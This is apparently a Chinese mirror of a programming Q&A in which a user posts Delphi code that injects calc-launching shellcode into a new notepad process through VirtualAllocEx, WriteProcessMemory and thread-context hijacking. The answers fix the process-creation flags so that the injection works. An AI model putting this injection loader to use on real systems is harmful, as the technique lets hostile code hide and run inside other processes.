2014-10-04 98 views
-1

一切似乎工作正常,但我的代码什么都不做。 我想注入shellcode,它开始calc到记事本。Delphi代码注入

这里是我的代码:

const 
    shellcode:array[0..124] of BYTE = (// exec of calc.exe 
    $fc,$e8,$44,$00,$00,$00,$8b,$45,$3c,$8b,$7c,$05,$78,$01,$ef,$8b, 
    $4f,$18,$8b,$5f,$20,$01,$eb,$49,$8b,$34,$8b,$01,$ee,$31,$c0,$99, 
    $ac,$84,$c0,$74,$07,$c1,$ca,$0d,$01,$c2,$eb,$f4,$3b,$54,$24,$04, 
    $75,$e5,$8b,$5f,$24,$01,$eb,$66,$8b,$0c,$4b,$8b,$5f,$1c,$01,$eb, 
    $8b,$1c,$8b,$01,$eb,$89,$5c,$24,$04,$c3,$5f,$31,$f6,$60,$56,$64, 
    $8b,$46,$30,$8b,$40,$0c,$8b,$70,$1c,$ad,$8b,$68,$08,$89,$f8,$83, 
    $c0,$6a,$50,$68,$7e,$d8,$e2,$73,$68,$98,$fe,$8a,$0e,$57,$ff,$e7, 
    $63,$61,$6c,$63,$2e,$65,$78,$65,$00,$00,$00,$00,$00); 

var 
    pi: TProcessInformation; 
    si: TStartupInfo; 
    ctx: Context; 
    remote_shellcodePtr: Pointer; 
    Written:Cardinal; 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
    FillMemory(@si, sizeof(si), 0); 
    FillMemory(@pi, sizeof(pi), 0); 

    CreateProcess(
    Nil, 
    PChar('notepad.exe'), 
    Nil, Nil, False, 
    NORMAL_PRIORITY_CLASS, Nil, Nil,      // NORMAL_PRIORITY_CLASS 
    si, pi); 

    ctx.ContextFlags := CONTEXT_CONTROL; 
    GetThreadContext(pi.hThread,ctx); 

    remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,SizeOf(shellcode),MEM_COMMIT, 
    PAGE_EXECUTE_READWRITE); 

    WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode, 
    Sizeof(shellcode),written); 
    ctx.Eip:=Integer(remote_shellcodePtr); 
    ctx.ContextFlags := CONTEXT_CONTROL; 
    SetThreadContext(pi.hThread,ctx); 

    ResumeThread(pi.hThread); 
end; 

也许是问题的CreateProcess。安全设置可以是CREATE_SUSPENDED | IDLE_PRIORITY_CLASS。 但是,这告诉我,它是未定义的。

+0

我不确定你的问题在这里,但我猜这是“说我这是未定义的”部分。它有助于您在发布**精确**错误信息时发生错误 - 您在该信息的正前方显示该信息,因此没有理由不将其包含在您的问题中,因此我们也有这个信息。 (如果这不是你遇到的问题,那么请[编辑]你的问题,并更加清楚你的问题。) – 2014-10-04 22:54:20

+2

总是检查Windows API函数的结果。你稍后会感谢你。 – 2014-10-04 22:58:14

+0

你的问题是什么? – 2014-10-07 03:51:45

回答

1

IDLE_PRIORITY_CLASSCREATE_SUSPENDED在Windows单元中定义。要将它们两者结合使用,请将它们组合在一起。

当大卫在评论中指出,到CreateProcess第二个参数需要修改的,所以你不能传递一个恒定的给它,而应该分配给一个局部变量,该变量调用UniqueString,然后用它来代替:

var 
    AppToLaunch: string; 
begin 
    AppToLaunch := 'notepad.exe'; 
    UniqueString(AppToLaunch); 

    CreateProcess(nil, PChar(AppToLaunch), nil, nil, False, 
       IDLE_PRIORITY_CLASS or CREATE_SUSPENDED, 
       nil, nil, si, pi); 
+0

非常感谢,但我也必须将notepad.exe更改为rundll32.exe。 – 2014-10-05 09:11:36

+0

@kiss所以继续前进,并做到这一点 – 2014-10-05 11:57:04

+0

@ken第二个参数CreateProcess需要可修改。不要传递存储在只读存储器中的文字。分配给本地var并在其上调用UniqueString。 – 2014-10-05 11:57:58